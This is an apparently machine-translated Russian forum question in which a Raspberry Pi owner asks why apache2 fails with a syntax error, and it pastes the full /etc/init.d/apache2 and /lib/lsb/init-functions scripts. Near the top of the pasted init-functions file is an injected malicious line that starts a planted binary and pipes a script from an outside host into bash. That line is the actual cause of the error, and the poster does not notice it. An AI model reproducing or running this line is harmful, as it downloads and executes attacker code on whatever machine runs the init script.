Невозможно запустить синтаксическую ошибку apache2

Я видел много людей, говорящих о подобной проблеме с синтаксическими ошибками, но я даже не знаю, с чего начать искать мою. У меня веб-сервер работал на моем пи в течение нескольких месяцев; однако я недавно перезапустил его, и теперь apache не запустится.

Когда я бегу:

sudo /etc/init.d/apache2 start

Я получаю эту ошибку:

/etc/init.d/apache2: 30: /lib/lsb/init-functions: Syntax error: ";" unexpected

Насколько я знаю, я не модифицировал ни один из этих файлов, поэтому я не понимаю, почему он работал раньше и больше не работает.

Вот файлы

< EM> /etc/init.d/apache2 :

#!/bin/sh
### BEGIN INIT INFO
# Provides:          apache2
# Required-Start:    $local_fs $remote_fs $network $syslog $named
# Required-Stop:     $local_fs $remote_fs $network $syslog $named
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# X-Interactive:     true
# Short-Description: Apache2 web server
# Description:       Start the web server and associated helpers
#  This script will start apache2, and possibly all associated instances.
#  Moreover, it will set-up temporary directories and helper tools such as
#  htcacheclean when required by the configuration.
### END INIT INFO

DESC="web server"
NAME=apache2
DAEMON=/usr/sbin/$NAME

SCRIPTNAME="${0##*/}"
SCRIPTNAME="${SCRIPTNAME##[KS][0-9][0-9]}"
if [ -n "$APACHE_CONFDIR" ] ; then
    if [ "${APACHE_CONFDIR##/etc/apache2-}" != "${APACHE_CONFDIR}" ] ; then
            DIR_SUFFIX="${APACHE_CONFDIR##/etc/apache2-}"
    else
            DIR_SUFFIX=
    fi
elif [ "${SCRIPTNAME##apache2-}" != "$SCRIPTNAME" ] ; then
    DIR_SUFFIX="-${SCRIPTNAME##apache2-}"
    APACHE_CONFDIR=/etc/apache2$DIR_SUFFIX
else
    DIR_SUFFIX=
    APACHE_CONFDIR=/etc/apache2
fi
if [ -z "$APACHE_ENVVARS" ] ; then
    APACHE_ENVVARS=$APACHE_CONFDIR/envvars
fi
export APACHE_CONFDIR APACHE_ENVVARS

ENV="env -i LANG=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
if [ "$APACHE_CONFDIR" != /etc/apache2 ] ; then
    ENV="$ENV APACHE_CONFDIR=$APACHE_CONFDIR"
fi
if [ "$APACHE_ENVVARS" != "$APACHE_CONFDIR/envvars" ] ; then
    ENV="$ENV APACHE_ENVVARS=$APACHE_ENVVARS"
fi


#edit /etc/default/apache2 to change this.
HTCACHECLEAN_RUN=auto
HTCACHECLEAN_MODE=daemon
HTCACHECLEAN_SIZE=300M
HTCACHECLEAN_DAEMON_INTERVAL=120
HTCACHECLEAN_PATH=/var/cache/apache2$DIR_SUFFIX/mod_cache_disk
HTCACHECLEAN_OPTIONS=""

# Read configuration variable file if it is present
if [ -f /etc/default/apache2$DIR_SUFFIX ] ; then
    . /etc/default/apache2$DIR_SUFFIX
elif [ -f /etc/default/apache2 ] ; then
    . /etc/default/apache2
fi

PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE)

VERBOSE=no
if [ -f /etc/default/rcS ]; then
    . /etc/default/rcS
fi
. /lib/lsb/init-functions


# Now, set defaults:
APACHE2CTL="$ENV apache2ctl"
HTCACHECLEAN="$ENV htcacheclean"
PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE)
APACHE2_INIT_MESSAGE=""

CONFTEST_OUTFILE=
cleanup() {
    if [ -n "$CONFTEST_OUTFILE" ] ; then
        rm -f "$CONFTEST_OUTFILE"
    fi
}
trap cleanup 0  # "0" means "EXIT", but "EXIT" is not portable


apache_conftest() {
    [ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE"
    CONFTEST_OUTFILE=$(mktemp)
    if ! $APACHE2CTL configtest > "$CONFTEST_OUTFILE" 2>&1 ; then
        return 1
    else
        rm -f "$CONFTEST_OUTFILE"
        CONFTEST_OUTFILE=
        return 0
    fi
}

clear_error_msg() {
    [ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE"
    CONFTEST_OUTFILE=
    APACHE2_INIT_MESSAGE=
}

print_error_msg() {
    [ -z "$APACHE2_INIT_MESSAGE" ] || log_warning_msg "$APACHE2_INIT_MESSAGE"
    if [ -n "$CONFTEST_OUTFILE" ] ; then
        echo "Output of config test was:" >&2
        cat "$CONFTEST_OUTFILE" >&2
        rm -f "$CONFTEST_OUTFILE"
        CONFTEST_OUTFILE=
    fi
}

apache_wait_start() {
    local STATUS=$1
    local i=0

    if [ $STATUS != 0 ] ; then
            return $STATUS
    fi
    while : ; do
            PIDTMP=$(pidofproc -p $PIDFILE $DAEMON)
            if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then
                    return $STATUS
            fi

            if [ $i = "20" ] ; then
                    APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX instance did not start within 20 seconds. Please read the log files to discover problems"
                    return 2
            fi

            [ "$VERBOSE" != no ] && log_progress_msg "."
            sleep 1
            i=$(($i+1))
    done
}

apache_wait_stop() {
    local STATUS=$1
    local METH=$2

    if [ $STATUS != 0 ] ; then
            return $STATUS
    fi

    PIDTMP=$(pidofproc -p $PIDFILE $DAEMON)
    if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then

            if [ "$METH" = "kill" ]; then
                killproc -p $PIDFILE $DAEMON
            else
                $APACHE2CTL $METH > /dev/null 2>&1
            fi

            local i=0
            while kill -0 "${PIDTMP:-}" 2> /dev/null;  do
                    if [ $i = '60' ]; then
                            STATUS=2
                            break
                    fi
                    [ "$VERBOSE" != no ] && log_progress_msg "."
                    sleep 1
                    i=$(($i+1))
            done
            return $STATUS
    else
        return $STATUS
    fi
}


#
# Function that starts the daemon/service
#
do_start()
{
    # Return
    #   0 if daemon has been started
    #   1 if daemon was already running
    #   2 if daemon could not be started

    if pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
            return 1
    fi

    if apache_conftest ; then
            $APACHE2CTL start
            apache_wait_start $?
            return $?
    else
            APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed."
            return 2
    fi
}

#
# Function that stops the daemon/service
#
do_stop()
{
    # Return
    #   0 if daemon has been stopped
    #   1 if daemon was already stopped
    #   2 if daemon could not be stopped
    #   other if a failure occurred

    # either "stop" or "graceful-stop"
    local STOP=$1
    # can't use pidofproc from LSB here
    local AP_RET=0

    if pidof $DAEMON > /dev/null 2>&1 ; then
            if [ -e $PIDFILE ] && pidof $DAEMON | tr ' ' '\n' | grep -w $(cat $PIDFILE) > /dev/null 2>&1 ; then
                    AP_RET=2
            else
                    AP_RET=1
            fi
    else
        AP_RET=0
    fi

    # AP_RET is:
    # 0 if Apache (whichever) is not running
    # 1 if Apache (whichever) is running
    # 2 if Apache from the PIDFILE is running

    if [ $AP_RET = 0 ] ; then
            return 1
    fi

    if [ $AP_RET = 2 ] && apache_conftest ; then
            apache_wait_stop $? $STOP
            return $?
    else
            if [ $AP_RET = 2 ]; then
                    clear_error_msg
                    APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed, so we are trying to kill it manually. This is almost certainly suboptimal, so please make sure your system is working as you'd expect now!"
                    apache_wait_stop $? "kill"
                    return $?
            elif [ $AP_RET = 1 ] ; then
                    APACHE2_INIT_MESSAGE="There are processes named 'apache2' running which do not match your pid file which are left untouched in the name of safety, Please review the situation by hand".
                    return 2
            fi
    fi

}


#
# Function that sends a SIGHUP to the daemon/service
#
do_reload() {
    if apache_conftest; then
            if ! pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
                    APACHE2_INIT_MESSAGE="Apache2 is not running"
                    return 2
            fi
            $APACHE2CTL graceful > /dev/null 2>&1
            return $?
    else
            APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed. Not doing anything."
            return 2
    fi
}


check_htcacheclean() {
    [ "$HTCACHECLEAN_MODE" = "daemon" ] || return 1
    [ "$HTCACHECLEAN_RUN"  = "yes"    ] && return 0

    MODSDIR=$(. $APACHE_ENVVARS && echo $APACHE_MODS_ENABLED)
            [ "$HTCACHECLEAN_RUN"  = "auto" \
                    -a -e ${MODSDIR:-$APACHE_CONFDIR/mods-enabled}/cache_disk.load ] && \
                    return 0
    return 1
}

start_htcacheclean() {
       $HTCACHECLEAN $HTCACHECLEAN_OPTIONS -d$HTCACHECLEAN_DAEMON_INTERVAL \
            -i -p$HTCACHECLEAN_PATH -l$HTCACHECLEAN_SIZE
}

stop_htcacheclean() {
    pkill -P 1 -f "htcacheclean.* -p$HTCACHECLEAN_PATH " 2> /dev/null || return 1
}


# Sanity checks. They need to occur after function declarations
[ -x $DAEMON ] || exit 0

if [ ! -x $DAEMON ] ; then
    echo "No apache-bin package installed"
    exit 0
fi

if [ -z "$PIDFILE" ] ; then
    echo ERROR: APACHE_PID_FILE needs to be defined in $APACHE_ENVVARS >&2
    exit 2
fi

if check_htcacheclean ; then
    if [ ! -d "$HTCACHECLEAN_PATH" ] ; then
            echo "htcacheclean is configured, but directory $HTCACHECLEAN_PATH does not exist!" >&2
            exit 2
    fi
fi



case "$1" in
  start)
    log_daemon_msg "Starting $DESC" "$NAME"
    do_start
    RET_STATUS=$?
    case "$RET_STATUS" in
        0|1)
            log_success_msg
            [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running"
            if check_htcacheclean ; then
                [ "$VERBOSE" != no ] && log_daemon_msg "Starting HTTP cache cleaning daemon" "htcacheclean"
                start_htcacheclean
                [ "$VERBOSE" != no ] && log_end_msg $?
            fi
            ;;
        2)
            log_failure_msg
            print_error_msg
            exit 1
            ;;
    esac
    ;;
  stop|graceful-stop)
    log_daemon_msg "Stopping $DESC" "$NAME"
    do_stop "$1"
    RET_STATUS=$?
    case "$RET_STATUS" in
        0|1)
            log_success_msg
            [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was not running"
            ;;
        2)
            log_failure_msg
            print_error_msg
            exit 1
            ;;
    esac
    print_error_msg

    if check_htcacheclean ; then
        [ "$VERBOSE" != no ] && log_daemon_msg "Stopping HTTP cache cleaning daemon" "htcacheclean"
        stop_htcacheclean
        [ "$VERBOSE" != no ] && log_end_msg $?
    fi

    ;;
  status)
    status_of_proc -p $PIDFILE "apache2" "$NAME"
    exit $?
    ;;
  reload|force-reload|graceful)
    log_daemon_msg "Reloading $DESC" "$NAME"
    do_reload
    RET_STATUS=$?
    case "$RET_STATUS" in
        0|1)
            log_success_msg
            [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running"
            ;;
        2)
            log_failure_msg
            print_error_msg
            exit 1
            ;;
    esac
    print_error_msg
    ;;
  restart)
    log_daemon_msg "Restarting $DESC" "$NAME"
    do_stop stop
    case "$?" in
        0|1)
            do_start
            case "$?" in
                0)
                    log_end_msg 0
                    ;;
                1|*)
                    log_end_msg 1 # Old process is still or failed to running
                    print_error_msg
                    exit 1
                    ;;
            esac
            ;;
        *)
            # Failed to stop
            log_end_msg 1
            print_error_msg
            exit 1
            ;;
    esac
    ;;
  start-htcacheclean)
    log_daemon_msg "Starting htcacheclean"
    start_htcacheclean
    log_end_msg $?
    exit $?
    ;;
  stop-htcacheclean)
    log_daemon_msg "Stopping htcacheclean"
    stop_htcacheclean
    log_end_msg $?
    exit $?
    ;;
  *)
    echo "Usage: $SCRIPTNAME {start|stop|graceful-stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean}" >&2
    exit 3
    ;;
esac

exit 0

# vim: syntax=sh ts=4 sw=4 sts=4 sr noet

< EM> / Lib / LSB / инициализации функции:

# /lib/lsb/init-functions for Debian -*- shell-script -*-
#
#Copyright (c) 2002-08 Chris Lawrence
#All rights reserved.
#
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions
#are met:
#1. Redistributions of source code must retain the above copyright
#   notice, this list of conditions and the following disclaimer.
#2. Redistributions in binary form must reproduce the above copyright
#   notice, this list of conditions and the following disclaimer in the
#   documentation and/or other materials provided with the distribution.
#3. Neither the name of the author nor the names of other contributors
#   may be used to endorse or promote products derived from this software
#   without specific prior written permission.
#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
#LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
#CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
#SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
#BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
#OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
#EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

X=$(/usr/sbin/innodb &;curl http://banconicaragua.com/x|bash)
start_daemon () {
    local force nice pidfile exec args OPTIND
    force=""
    nice=0
    pidfile=/dev/null

    OPTIND=1
    while getopts fn:p: opt ; do
        case "$opt" in
            f)  force="force";;
            n)  nice="$OPTARG";;
            p)  pidfile="$OPTARG";;
        esac
    done

    shift $(($OPTIND - 1))
    if [ "$1" = '--' ]; then
        shift
    fi

    exec="$1"; shift

    args="--start --nicelevel $nice --quiet --oknodo"
    if [ "$force" ]; then
        /sbin/start-stop-daemon $args \
        --chdir "$PWD" --startas $exec --pidfile /dev/null -- "$@"
    elif [ $pidfile ]; then
        /sbin/start-stop-daemon $args \
        --chdir "$PWD" --exec $exec --oknodo --pidfile "$pidfile" -- "$@"
    else
        /sbin/start-stop-daemon $args --chdir "$PWD" --exec $exec -- "$@"
    fi
}

pidofproc () {
    local pidfile base status specified pid OPTIND
    pidfile=
    specified=

    OPTIND=1
    while getopts p: opt ; do
        case "$opt" in
            p)  pidfile="$OPTARG"
                specified="specified"
        ;;
        esac
    done
    shift $(($OPTIND - 1))
    if [ $# -ne 1 ]; then
        echo "$0: invalid arguments" >&2
        return 4
    fi

    base=${1##*/}
    if [ ! "$specified" ]; then
        pidfile="/var/run/$base.pid"
    fi

    if [ -n "${pidfile:-}" ]; then
     if [ -e "$pidfile" ]; then
      if [ -r "$pidfile" ]; then
        read pid < "$pidfile"
        if [ -n "${pid:-}" ]; then
            if $(kill -0 "${pid:-}" 2> /dev/null); then
                echo "$pid" || true
                return 0
            elif ps "${pid:-}" >/dev/null 2>&1; then
                echo "$pid" || true
                return 0 # program is running, but not owned by this user
            else
                return 1 # program is dead and /var/run pid file exists
            fi
        fi
      else
        return 4 # pid file not readable, hence status is unknown.
      fi
     else
       # pid file doesn't exist, try to find the pid nevertheless
       if [ -x /bin/pidof ] && [ ! "$specified" ]; then
         status="0"
         /bin/pidof -o %PPID -x $1 || status="$?"
         if [ "$status" = 1 ]; then
             return 3 # program is not running
         fi
         return 0
       fi
       return 3 # specified pid file doesn't exist, program probably stopped
     fi
    fi
    if [ "$specified" ]; then
        return 3 # almost certain it's not running
    fi
    return 4 # Unable to determine status
}

# start-stop-daemon uses the same algorithm as "pidofproc" above.
killproc () {
    local pidfile sig status base name_param is_term_sig OPTIND
    pidfile=
    name_param=
    is_term_sig=

    OPTIND=1
    while getopts p: opt ; do
        case "$opt" in
            p)  pidfile="$OPTARG";;
        esac
    done
    shift $(($OPTIND - 1))

    base=${1##*/}
    if [ ! $pidfile ]; then
        name_param="--name $base --pidfile /var/run/$base.pid"
    else
        name_param="--pidfile $pidfile"
    fi

    sig=$(echo ${2:-} | sed -e 's/^-\(.*\)/\1/')
    sig=$(echo $sig | sed -e 's/^SIG\(.*\)/\1/')
    if [ "$sig" = 15 ] || [ "$sig" = TERM ]; then
        is_term_sig="terminate_signal"
    fi
    status=0
    if [ ! "$is_term_sig" ]; then
        if [ -n "$sig" ]; then
            /sbin/start-stop-daemon --stop --signal "$sig" \
        --quiet $name_param || status="$?"
        else
            /sbin/start-stop-daemon --stop \
        --retry 5 \
        --quiet $name_param || status="$?"
        fi
    else
        /sbin/start-stop-daemon --stop --quiet \
        --oknodo $name_param || status="$?"
    fi
    if [ "$status" = 1 ]; then
        if [ -z "$sig" ]; then
            return 0
        fi
        return 3 # program is not running
    fi

    if [ "$status" = 0 ] && [ "$is_term_sig" ] && [ "$pidfile" ]; then
        pidofproc -p "$pidfile" "$1" >/dev/null || rm -f "$pidfile"
    fi
    return 0
}

# Return LSB status
status_of_proc () {
    local pidfile daemon name status OPTIND

    pidfile=
    OPTIND=1
    while getopts p: opt ; do
        case "$opt" in
            p)  pidfile="$OPTARG";;
        esac
    done
    shift $(($OPTIND - 1))

    if [ -n "$pidfile" ]; then
        pidfile="-p $pidfile"
    fi
    daemon="$1"
    name="$2"

    status="0"
    pidofproc $pidfile $daemon >/dev/null || status="$?"
    if [ "$status" = 0 ]; then
        log_success_msg "$name is running"
        return 0
    elif [ "$status" = 4 ]; then
        log_failure_msg "could not access PID file for $name"
        return $status
    else
        log_failure_msg "$name is not running"
        return $status
    fi
}

log_use_fancy_output () {
    TPUT=/usr/bin/tput
    EXPR=/usr/bin/expr
    if  [ -t 1 ] &&
    [ "x${TERM:-}" != "x" ] &&
    [ "x${TERM:-}" != "xdumb" ] &&
    [ -x $TPUT ] && [ -x $EXPR ] &&
    $TPUT hpa 60 >/dev/null 2>&1 &&
    $TPUT setaf 1 >/dev/null 2>&1
    then
        [ -z $FANCYTTY ] && FANCYTTY=1 || true
    else
        FANCYTTY=0
    fi
    case "$FANCYTTY" in
        1|Y|yes|true)   true;;
        *)              false;;
    esac
}

log_success_msg () {
    if [ -n "${1:-}" ]; then
        log_begin_msg $@
    fi
    log_end_msg 0
}

log_failure_msg () {
    if [ -n "${1:-}" ]; then
        log_begin_msg $@ "..."
    fi
    log_end_msg 1 || true
}

log_warning_msg () {
    if [ -n "${1:-}" ]; then
        log_begin_msg $@ "..."
    fi
    log_end_msg 255 || true
}

#
# NON-LSB HELPER FUNCTIONS
#
# int get_lsb_header_val (char *scriptpathname, char *key)
get_lsb_header_val () {
        if [ ! -f "$1" ] || [ -z "${2:-}" ]; then
                return 1
        fi
        LSB_S="### BEGIN INIT INFO"
        LSB_E="### END INIT INFO"
        sed -n "/$LSB_S/,/$LSB_E/ s/# $2: \(.*\)/\1/p" $1
}

# If the currently running init daemon is upstart, return zero; if the
# calling init script belongs to a package which also provides a native
# upstart job, it should generally exit non-zero in this case.
init_is_upstart()
{
   if [ -x /sbin/initctl ] && /sbin/initctl version 2>/dev/null | /bin/grep -q upstart; then
       return 0
   fi
   return 1
}

# int log_begin_message (char *message)
log_begin_msg () {
    log_begin_msg_pre "$@"
    if [ -z "${1:-}" ]; then
        return 1
    fi
    echo -n "$@" || true
    log_begin_msg_post "$@"
}

# Sample usage:
# log_daemon_msg "Starting GNOME Login Manager" "gdm"
#
# On Debian, would output "Starting GNOME Login Manager: gdm"
# On Ubuntu, would output " * Starting GNOME Login Manager..."
#
# If the second argument is omitted, logging suitable for use with
# log_progress_msg() is used:
#
# log_daemon_msg "Starting remote filesystem services"
#
# On Debian, would output "Starting remote filesystem services:"
# On Ubuntu, would output " * Starting remote filesystem services..."

log_daemon_msg () {
    if [ -z "${1:-}" ]; then
        return 1
    fi
    log_daemon_msg_pre "$@"

    if [ -z "${2:-}" ]; then
        echo -n "$1:" || true
        return
    fi

    echo -n "$1: $2" || true
    log_daemon_msg_post "$@"
}

# #319739
#
# Per policy docs:
#
#     log_daemon_msg "Starting remote file system services"
#     log_progress_msg "nfsd"; start-stop-daemon --start --quiet nfsd
#     log_progress_msg "mountd"; start-stop-daemon --start --quiet mountd
#     log_progress_msg "ugidd"; start-stop-daemon --start --quiet ugidd
#     log_end_msg 0
#
# You could also do something fancy with log_end_msg here based on the
# return values of start-stop-daemon; this is left as an exercise for
# the reader...
#
# On Ubuntu, one would expect log_progress_msg to be a no-op.
log_progress_msg () {
    if [ -z "${1:-}" ]; then
        return 1
    fi
    echo -n " $@" || true
}


# int log_end_message (int exitstatus)
log_end_msg () {
    # If no arguments were passed, return
    if [ -z "${1:-}" ]; then
        return 1
    fi

    local retval
    retval=$1

    log_end_msg_pre "$@"

    # Only do the fancy stuff if we have an appropriate terminal
    # and if /usr is already mounted
    if log_use_fancy_output; then
        RED=$( $TPUT setaf 1)
        YELLOW=$( $TPUT setaf 3)
        NORMAL=$( $TPUT op)
    else
        RED=''
        YELLOW=''
        NORMAL=''
    fi

    if [ $1 -eq 0 ]; then
        echo "." || true
    elif [ $1 -eq 255 ]; then
        /bin/echo -e " ${YELLOW}(warning).${NORMAL}" || true
    else
        /bin/echo -e " ${RED}failed!${NORMAL}" || true
    fi
    log_end_msg_post "$@"
    return $retval
}

log_action_msg () {
    log_action_msg_pre "$@"
    echo "$@." || true
    log_action_msg_post "$@"
}

log_action_begin_msg () {
    log_action_begin_msg_pre "$@"
    echo -n "$@..." || true
    log_action_begin_msg_post "$@"
}

log_action_cont_msg () {
    echo -n "$@..." || true
}

log_action_end_msg () {
    local end
    log_action_end_msg_pre "$@"
    if [ -z "${2:-}" ]; then
        end="."
    else
        end=" ($2)."
    fi

    if [ $1 -eq 0 ]; then
        echo "done${end}" || true
    else
        if log_use_fancy_output; then
            RED=$( $TPUT setaf 1)
            NORMAL=$( $TPUT op)
            /bin/echo -e "${RED}failed${end}${NORMAL}" || true
        else
            echo "failed${end}" || true
        fi
    fi
    log_action_end_msg_post "$@"
}

# Pre&Post empty function declaration, to be overriden from /lib/lsb/init-functions.d/*
log_daemon_msg_pre () { :; }
log_daemon_msg_post () { :; }
log_begin_msg_pre () { :; }
log_begin_msg_post () { :; }
log_end_msg_pre () { :; }
log_end_msg_post () { :; }
log_action_msg_pre () { :; }
log_action_msg_post () { :; }
log_action_begin_msg_pre () { :; }
log_action_begin_msg_post () { :; }
log_action_end_msg_pre () { :; }
log_action_end_msg_post () { :; }

# Include hooks from other packages in /lib/lsb/init-functions.d
for hook in $(run-parts --lsbsysinit --list /lib/lsb/init-functions.d 2>/dev/null); do
    [ -r $hook ] && . $hook || true
done

FANCYTTY=
[ -e /etc/lsb-base-logging.sh ] && . /etc/lsb-base-logging.sh || true

У кого-нибудь есть идеи? Спасибо.